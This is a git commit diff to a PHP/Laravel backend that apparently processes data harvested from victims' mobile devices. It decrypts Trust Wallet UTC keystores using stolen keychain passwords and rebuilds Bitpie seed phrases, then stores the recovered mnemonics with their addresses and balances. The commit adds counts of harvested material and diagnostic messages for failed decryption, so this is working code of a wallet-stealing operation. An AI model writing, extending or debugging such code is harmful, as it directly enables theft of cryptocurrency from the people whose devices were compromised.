feat: ds
This commit is contained in:
@@ -8,6 +8,7 @@ use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsKeystoreDecrypt;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -82,7 +83,7 @@ class KeystoreController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
|
||||
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
|
||||
{
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
@@ -107,11 +108,12 @@ class KeystoreController extends Controller
|
||||
->get(['id', 'source', 'mnemonic_hash']);
|
||||
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
||||
$addedCount = $added->count();
|
||||
$counts = $decrypt->materialCounts($device->fresh('keystores'));
|
||||
$msg = $addedCount > 0
|
||||
? '已写入 '.$addedCount.' 条助记词'
|
||||
: ((int) $keystore->decrypted === 1
|
||||
? '没有新的助记词(该来源可能已解密)'
|
||||
: '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)');
|
||||
: $this->decryptMissMessage($counts));
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
@@ -122,6 +124,9 @@ class KeystoreController extends Controller
|
||||
'added' => $addedCount,
|
||||
'mnemonic_total' => $after->count(),
|
||||
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||
'utc' => $counts['utc'],
|
||||
'passwords' => $counts['passwords'],
|
||||
'entropy' => $counts['entropy'],
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -147,6 +152,30 @@ class KeystoreController extends Controller
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{utc: int, passwords: int, entropy: int} $counts
|
||||
*/
|
||||
private function decryptMissMessage(array $counts): string
|
||||
{
|
||||
$utc = (int) $counts['utc'];
|
||||
$passwords = (int) $counts['passwords'];
|
||||
$entropy = (int) $counts['entropy'];
|
||||
if ($utc === 0 && $passwords > 0) {
|
||||
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
|
||||
}
|
||||
if ($utc > 0 && $passwords === 0) {
|
||||
return '有沙盒 UTC 文件,但没有钥匙串密码(account 含 UTC-- 的 32 字节项)';
|
||||
}
|
||||
if ($utc > 0 && $passwords > 0) {
|
||||
return 'UTC 和钥匙串密码都在,但解不开(密码不匹配或 scrypt 失败)';
|
||||
}
|
||||
if ($entropy > 0) {
|
||||
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
|
||||
}
|
||||
|
||||
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)';
|
||||
}
|
||||
|
||||
private function keystoreAllowed(WalletKeystore $keystore): bool
|
||||
{
|
||||
$allowed = WalletKeystore::query()
|
||||
|
||||
@@ -49,6 +49,28 @@ final class DsKeystoreDecrypt
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{utc: int, passwords: int, entropy: int}
|
||||
*/
|
||||
public function materialCounts(Device $device): array
|
||||
{
|
||||
$device->loadMissing('keystores');
|
||||
$utcs = [];
|
||||
$passwords = [];
|
||||
$entropy = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
||||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||||
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
|
||||
}
|
||||
|
||||
return [
|
||||
'utc' => count($this->uniqueKeystores($utcs)),
|
||||
'passwords' => count($this->uniquePasswords($passwords)),
|
||||
'entropy' => count(array_unique($entropy)),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
|
||||
Reference in New Issue
Block a user